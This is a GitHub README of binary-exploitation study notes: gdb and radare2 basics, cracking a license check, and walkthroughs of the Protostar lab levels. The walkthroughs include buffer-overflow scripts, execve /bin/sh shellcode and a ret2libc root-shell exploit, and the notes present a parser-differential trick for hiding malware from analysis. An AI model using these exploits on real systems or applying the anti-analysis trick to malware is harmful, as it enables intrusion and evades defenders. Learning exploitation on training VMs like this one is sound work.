Skip to content

Repository files navigation

Binary Exploitation

Assembly Language (Basics)

Practice on : https://microcorruption.com/debugger/New%20Orleans

Read basic instructions in assembly like :

  • compare
  • jump
  • add
  • move
  • subtract
  • goto
  • push
  • pop

.... etc.

Focus on Memory and Stack instructions

Cracking a Binary

Github Link : https://github.com/LiveOverflow/liveoverflow_youtube/tree/master/0x05_simple_crackme_intro_assembler

Download the resources

wget https://raw.githubusercontent.com/LiveOverflow/liveoverflow_youtube/master/0x05_simple_crackme_intro_assembler/gdb_disassembly
wget https://raw.githubusercontent.com/LiveOverflow/liveoverflow_youtube/master/0x05_simple_crackme_intro_assembler/license_1.c
### After getting compile the binary
gcc license_1.c -o license

It's a simple program which checks if a license is valid or not by taking a input as an argument. To see binary assembly code

gdb "binary_name"

Always set the view as : set disassembly-flavor intel To disassemble a function : disassemble "func_name"

Analyse the assembly Code -> :)

GDB Commands :

  • break (star)"point_where_to_break" : Eg, break *main
  • info registers : To get the info about the basic memory layout
  • si : to go through the code by instruction wise and stopping each time
  • ni : to go through the code by executing the function first and then stopping on the first instruction
  • run / run "args" : to start the program
  • set "memory_pointer" : Eg, set $eax=0, This will set the eax pointer to 0

Tools :

  • radare2
  • Hopper Disassembler
  • strings
  • objdump
  • hexdump

Radare 2 Commands :

r2 binary_name
  • aaa : to analyse all the functions
  • afl : to analyse and list the functions
  • ? : to get the help menu for commands
  • pdf : to display the disassembled code of a function
  • s "func/point" : this will set the address to what we are giving as input to point. Eg, s sym.main
  • VV : To get graphical view / control graph

Let's try to make our code more safe

Step 1 : let's not store the string as it is in the code Step 2 : Compare the sum of ascii's of the input with the sum of the real key

Now our program is :

#include<string.h>#include<stdio.h>intmain(intargc, char*argv[]) {
if(argc==2) {
printf("Checking License: %s\n", argv[1]);
intsum=0;
for(inti=0; i<strlen(argv[1]);i++){
sum+= (int)argv[1][i];
}
if(sum==916) {
printf("Access Granted!\n");
} else {
printf("WRONG!\n");
}
} else {
printf("Usage: <key>\n");
}
return0;
}

Using Radare 2 analyse the compiled binary and getting the way to bypass checks. Now making safe doesn't work so now we move to a new approach which is :

USING A PARSER DIFFERENTIAL

What is this and what it will do ?

-> Now as we know that we can run the binary in linux system and we can also pass it through gdb and radare2 to analyse but what if we can do something so that we will still be able to run the binary but we aren't able to pass it through GDB and radare like softwares

Let's write a python script for achieving our goal. fuzzer.py in 0x08 folder

Uses :

  • We can use this fuzzing technique to hide the working of our malware and stop people from analysing it.
  • To make the code uncrackable

The script above is not written in professional way but it gives us a glimpse of how the Parser Differential works.

More on this topic

SysCalls : Bridge between Kernel Mode and User Mode

Now we need to practise our skills in binary exploitation

Protostar

We need to download the VM from : https://exploit.education/downloads/

  • Download Protostar
  • Install it in virtual box

Login Creds

username : user password : user

Machine Page : https://exploit.education/protostar/ All the binaries which need to be exploited can be found in /opt/protostar/bin

Stack 0

This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.

  1. Here we will now boot up the machine with given creds. It will look something like this

  2. Navigate to /opt/protostar/bin

  3. The code of binary is given to us and now analyse it with gdb

  4. Let's understand the terminologies in the assembly code

POINTERS
--------
ebp = base pointer (it is at the bottom of the stack)
eip = instruction pointer
esp = stack pointer
INSTRUCTIONS
------------
call = this will put the address on the top of the stack
leave = this will pop all the local variable space in the stack
  1. Now one thing we all know that never to use gets() function in c. It is dangerous.
  2. Set the breakpoint of the program at the get instruction in the following asm program
0x0000555555555149 <+0>: pushrbp0x000055555555514a <+1>: movrbp,rsp0x000055555555514d <+4>: subrsp,0x600x0000555555555151 <+8>: mov DWORD PTR [rbp-0x54],edi0x0000555555555154 <+11>: mov QWORD PTR [rbp-0x60],rsi0x0000555555555158 <+15>: mov DWORD PTR [rbp-0x4],0x00x000055555555515f <+22>: learax,[rbp-0x50]0x0000555555555163 <+26>: movrdi,rax0x0000555555555166 <+29>: moveax,0x00x000055555555516b <+34>: call0x555555555040 <gets@plt> <--- this is the gets instruction0x0000555555555170 <+39>: moveax,DWORD PTR [rbp-0x4]0x0000555555555173 <+42>: testeax,eax <--- here it is comparing the variables to 00x0000555555555175 <+44>: je0x555555555188 <main+63>0x0000555555555177 <+46>: learax,[rip+0xe8a] # 0x5555555560080x000055555555517e <+53>: movrdi,rax0x0000555555555181 <+56>: call0x555555555030 <puts@plt> <--- print statements0x0000555555555186 <+61>: jmp0x555555555197 <main+78>0x0000555555555188 <+63>: learax,[rip+0xea2] # 0x5555555560310x000055555555518f <+70>: movrdi,rax0x0000555555555192 <+73>: call0x555555555030 <puts@plt> <--- print statements0x0000555555555197 <+78>: moveax,0x00x000055555555519c <+83>: leave0x000055555555519d <+84>: ret

In GDB

break*0x000055555555516b # on getsbreak*0x0000555555555170 # after gets
  1. We will enter some commands for gdb to execute when we hit the break point we can do it by setting the hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>info registers
>x/24wx $esp>x/2i $eip>end

Now every time we hit a break point we will get the registers info and we will get the next two instructions which will be executed after the breakpoint

  1. Now restart the program using r and as soon we hit the breakpoint we get the registers with the values

  2. Now continue (c) the program and enter bunch of A's and now observe the register values and we see that there are bunch of 0x41414141. These values are nothing but the A's we provided --> "A" = char(0x41)

  3. To check the content of the register which is being compared to zero we will use

(gdb) x/wx $esp+0x5c
# OUTPUT -> 0x000000000
  1. Now we need to edit this but we need to count how many chars do we need to edit this. Let's count it from the output above and we will come to know that we need 64+ chars to edit our stack pointer $esp+0x5c

  2. generate sting using python

python3 -c 'print("A"*70)'

Now copy and paste in gdb after restarting the execution

  1. And we have our result our pointer is edited to confirm check again using
x/wx $esp+0x5c
#OUTPUT -> 0x41414141
  1. This kind of behavior is actually a vulnerability called Buffer Overflow

Now we have solved our first stack vulnerabity

Stack 3

Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)

  1. Boot up the machine with given credentials.
  2. navigate to /opt/protostar/bin.
  3. Run the stack3 binary to check the behavior.
  4. Open the binary in gdb and analyse.
  5. Disassemble the Code and Analyse the main and win function.
  6. Now we need to know where our win() function lies in the memory so for that we will use :
(gdb) x win
  1. This will give the address of the win() function.
  2. Now after analysing the assembly output of the main function we are able to find that the value fp; is called as a function if it is not equal to zero.
  3. Let's do some gdb stuff now
(gdb) break *(address_of_the_last_fp_call)
(gdb) r
---> After running provide input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb) info registers
  1. Now we can see that our register eax is 0x41414141, this is nothing else but the A's we provided.
  2. Now we will write a simple script to know the offset till where our buffer is limited and where overflow is happening. (script in /stack3 directory) (script_name = "check_offset.py")
  3. Now we will pip the output of the offset script in gdb and get the offset.
# compile the script and store the output
python /tmp/check_offset.py > /tmp/out
# Open the binary in gdb
(gdb) disassemble main
(gdb) break*(address_of_the_last_fp_call)
(gdb) r < /tmp/out
(gdb) info registers

  1. As we can see that our offset is at 0x51515151 exactly so this means that our buffer started to overflow when the letter Q appears so now create another script which will call our win function. (script in /stack3 directory) (script_name = "exploit.py")
(gdb) disassemble main
(gdb) break*(address_of_the_last_fp_call)
(gdb) r < /tmp/out
(gdb) info registers

  1. Now after piping the output to the binary in gdb we can see that our eax pointer is set to 0x08048424, therefore our next execution call will be win() function.
(gdb) c

  1. And we see our output as 'code flow successfully changed' we can confirm it using
python /tmp/exploit.py | ./stack3

VOILA, stack 3 binary is exploited. Similarly stack4 can also be solved :)

Stack 4

Solved !! scripts in directory stack4

Stack 5

Stack5 is a standard buffer overflow, this time introducing shellcode.

Analyse the binary in GDB

  • Let's make a break point at "return" of the main function
  • Now we need to analyse the registers so we will make a hook-stop
> x/1i $eip
> x/8wx $esp
> end

x/1i $eip : To read the first instruction at the instruction pointer. x/8wx $esp : Examine 8 words in hex from the stack. end : to end the hook

Let's provide the input as the offset string generated by the offset.py program

(gdb) r < /tmp/offset

Now after continuing check the info registers to get the esp value so that we can append it to the exploit string

Let's create the exploit

string="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"eip="\x20\xf8\xff\xbf"# 0xbffff820 = $esp (after return)# This is INT 3 instruction to stop the execution and then execute somehing elsepayload="\xCC"*4print(string+eip+payload)

Viola 🎉 !! We got SIGTRAP Error which is a trace/breakpoint trap

Now if we run the code we will get ILLEGAL INSTRUCTION

Why is this happening ?

The main reason for this is different execution environments for our input and the gdb instruction. We can understand more from this.

We can notice differnet addresses in the Environment Variables 🧮

How to overcome this ?

  • Disable ENV variables before running the program
  • Use number of NOP (No Operation instruction)

We will use the second technique to overcome this addressing problem. Modify the exploit 🧰

string="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"eip="\x20\xf8\xff\xbf"# 0xbffff820 = $esp (after return)# This is INT 3 instruction to stop the execution and then execute somehing elsepayload="\x90"*100+"\xCC"*4# \x90 : NOP instructionprint(string+eip+payload)

Now if we run the code we will get Trace/Breakpoint Trap 🎉

Now we will access shell using the shell code from : http://www.shell-storm.org/shellcode/files/shellcode-811.php

"\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";

Let's design the exploit :

string="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"eip="\x20\xf8\xff\xbf"# 0xbffff820 = $esp (after return)nops="\x90"*100# \x90 : NOP instruction# SHELLCODE# ---------# This is the shellcode to execute /bin/bashpayload="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
print(string+eip+nops+payload)

Now we will execute the binary with our exploit output and cat to get an interactive shell

(python3 fin_exp.py ; cat) > ./stack5

Stack 6

Stack6 looks at what happens when you have restrictions on the return address. This level can be done in a couple of ways, such as finding the duplicate of the payload ( objdump -s will help with this), or ret2libc , or even return orientated programming. It is strongly suggested you experiment with multiple ways of getting your code to execute here.

#include<stdlib.h>#include<unistd.h>#include<stdio.h>#include<string.h>voidgetpath()
{
charbuffer[64]; // buffer of 64 bytesunsigned intret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret=__builtin_return_address(0); // __builtin_return_address -> this function returns the return address of the function (current one / caller one)if((ret&0xbf000000) ==0xbf000000) { // This function is checking if the address starts with 0xbf it will exit the code and print the result given below (bzzzt)printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer); // We need our code to be exited here and hit the Trace/Breakpoint Trap
}
intmain(intargc, char**argv)
{
getpath(); // Calling getpath()
}

Now the exploit we developed previously willnot work this time because of the if statement checking the condition of the memory return Address we can try doing it and we will get the result as "bzzzt 0xbf**__**(any address)"

Now we need to bypass this 0xbf thing and execute our code from the buffer

(gdb) set disassembly-flavor intel
(gdb) disassemble main
(gdb) break *getpath ----> To set a breakpoint at the address where getpath is called in the main function.
(gdb) r
(gdb) info proc map

As we can see here that the only addresses which are on the stack are starting with "0xbf--------". This is the problem for us. Now what we will do is we will replce our return address with the return address of getpath() function.

This is what will happen then :

  • First the function will call the return which we provided in the stack
  • This will bypass the if statement check of 0xbf
  • Now the function will return itself
  • Now the next address on the stack will be 0xbf------- (which is what we need to jump back in the stack in order to execute our shellcode)

Let's design an exploit for that :

importstructstring="0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"eip=struct.pack("I", 0xbffff7c0+32)
return_addr=struct.pack("I", 0x080484f9)
trap="\xCC"*100print(string+return_addr+eip+trap)

In GDB :

(gdb) disassemble getpath
(gdb) break*0x080484f9
(gdb) r < /tmp/stack6
(gdb) x/4wx $esp
(gdb) si
(gdb) x/4wx $esp
(gdb) si
(gdb) c

VIOLA 🎉 !! We have ou exploit done We recieved our TRAP/BREAKPOINT. Now we can execute our shellcode or binary code to get our desired access

Stack 7

This stack is similar to the previous stack in which we need to use the rit2libc technique to solve this challenge. Now first analyse the breakpoints and the eip and esp pointers after setting the breakpoint at the getpath() function.

Get Path Function

0x0000000100003e30 <+0>: pushrbp0x0000000100003e31 <+1>: movrbp,rsp0x0000000100003e34 <+4>: subrsp,0x600x0000000100003e38 <+8>: movrax,QWORD PTR [rip+0x1c1] # 0x1000040000x0000000100003e3f <+15>: movrax,QWORD PTR [rax]0x0000000100003e42 <+18>: mov QWORD PTR [rbp-0x8],rax0x0000000100003e46 <+22>: leardi,[rip+0x12f] # 0x100003f7c0x0000000100003e4d <+29>: moval,0x00x0000000100003e4f <+31>: call0x100003f240x0000000100003e54 <+36>: movrax,QWORD PTR [rip+0x1ad] # 0x1000040080x0000000100003e5b <+43>: movrdi,QWORD PTR [rax]0x0000000100003e5e <+46>: call0x100003f180x0000000100003e63 <+51>: leardi,[rbp-0x50]0x0000000100003e67 <+55>: call0x100003f1e0x0000000100003e6c <+60>: movrax,QWORD PTR [rbp+0x8]0x0000000100003e70 <+64>: mov DWORD PTR [rbp-0x54],eax0x0000000100003e73 <+67>: moveax,DWORD PTR [rbp-0x54]0x0000000100003e76 <+70>: andeax,0xb00000000x0000000100003e80 <+80>: jne0x100003ea1 <getpath+113>0x0000000100003e86 <+86>: movesi,DWORD PTR [rbp-0x54]0x0000000100003e89 <+89>: leardi,[rip+0x100] # 0x100003f900x0000000100003e90 <+96>: xoreax,eax0x0000000100003e92 <+98>: call0x100003f240x0000000100003e97 <+103>: movedi,0x10x0000000100003e9c <+108>: call0x100003f120x0000000100003ea1 <+113>: learsi,[rbp-0x50]0x0000000100003ea5 <+117>: leardi,[rip+0xf0] # 0x100003f9c0x0000000100003eac <+124>: moval,0x00x0000000100003eae <+126>: call0x100003f240x0000000100003eb3 <+131>: leardi,[rbp-0x50]0x0000000100003eb7 <+135>: call0x100003f2a0x0000000100003ebc <+140>: mov QWORD PTR [rbp-0x60],rax0x0000000100003ec0 <+144>: movrax,QWORD PTR [rip+0x139] # 0x1000040000x0000000100003ec7 <+151>: movrax,QWORD PTR [rax]0x0000000100003eca <+154>: movrcx,QWORD PTR [rbp-0x8]0x0000000100003ece <+158>: cmprax,rcx0x0000000100003ed1 <+161>: jne0x100003ee1 <getpath+177>0x0000000100003ed7 <+167>: movrax,QWORD PTR [rbp-0x60]0x0000000100003edb <+171>: addrsp,0x600x0000000100003edf <+175>: poprbp0x0000000100003ee0 <+176>: ret0x0000000100003ee1 <+177>: call0x100003f0c0x0000000100003ee6 <+182>: ud20x0000000100003ee8 <+184>: nop DWORD PTR [rax+rax*1+0x0]
(gdb) set disassembly-flavor intel
(gdb) disassemble getpath
(gdb) break getpath
(gdb) r
(gdb) x/i $eip# eip pointer -> Next instruction to be executed
(gdb) x/80x $esp# This will give us the top 80 address/instructions from the stack
(gdb) c

Now we will run this by setting the hook-stop with offset as an input

Setting the hook-stop

(gdb) set hook-stop
> info registers
> x/3i $eip> x/80x $esp> end

Setting the breakpoint after the gets() function address and running the program and continuing the execution

(gdb) break*0x080484ef
(gdb) r < /tmp/offset
(gdb) c

Now we got segmentation fault at address 0x55555555 => char(0x55) => 'U' We have our offset now which is from 'A' to 'T' all 4 chars. This string will look like : AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT

Let's develop a python script for this :

  • We need to first get the "/bin/sh" address in the system
  • Then we need to point the $eip to execute the "/bin/sh" as root

Getting system address in gdb

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system># System Address : 0xb7ecffb0

Let's get the libc address in gdb

(gdb) info proc map

Now we know our libc address let's get the "/bin/sh" address in gdb

(gdb) find &system, +9999999, "/bin/sh"

We got the address as : 0xb7fba23f for "/bin/sh" in gdb. Let's cross check if it is the "/bin/sh" or not ?

(gdb) x/s 0xb7fba23f
# OUTPUT :
0xb7fba23f: "KIND in __gen_tempname\""

This is a wrong address we need to find the real address of "/bin/sh" in gdb. Let's use strings module to find the real address (I got this method from a blog)

user@protostar:/opt/protostar/bin$ strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh
# OUTPUT :
11f3bf /bin/sh

Now to get the /bin/sh address we will add 11f3bf to libc address which would be :

0xb7e97000 + 11f3bf = 0xb7fb63bf

Let's check if this is the real address of /bin/sh

(gdb) x/s 0xb7fb63bf

Voila !! 🎉 we got the real address

Exploit :

buffer="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"# paddingsystem_address="\xb0\xff\xec\xb7"# system : 0xb7ecffb0drag="AAAA"bin_sh="\xbf\x63\xfb\xb7"# /bin/sh : 0xb7fb63bfexploit_string=buffer+system_address+drag+bin_shprint(exploit_string)
user@protostar:/opt/protostar/bin$ python /tmp/exploit.py > /tmp/exploit

Let's run the exploit with this string

user@protostar:/opt/protostar/bin$ python /tmp/exploit.py | ./stack7
# OUTPUT
input path please : bzzzt (0xb7ecffb0)

Now we need to bypass the filter so for that we will first go to the return address of the getpath() function. Address of the "ret" instruction in getpath() : 0x08048544

Now our new exploit will become :

buffer="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"# paddingret="\x44\x85\x04\x08"# return address of getpath()system_address="\xb0\xff\xec\xb7"# system : 0xb7ecffb0drag="AAAA"bin_sh="\xbf\x63\xfb\xb7"# /bin/sh : 0xb7fb63bfexploit_string=buffer+ret+system_address+drag+bin_shprint(exploit_string)

Wooohoooo !! We have what we wanted a SEGMENTATION FAULT after the binary execution

Gaining the root shell

(python /tmp/exploit.py ;cat) | ./stack7

We got the f**king shell with root access

About

Basic binary exploitation | Working of Malwares/Binaries | Obfuscation to avoid antivirus | Parser Differential to avoid analysis of Binary/Malwares

Topics

Resources

Stars

1 star

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages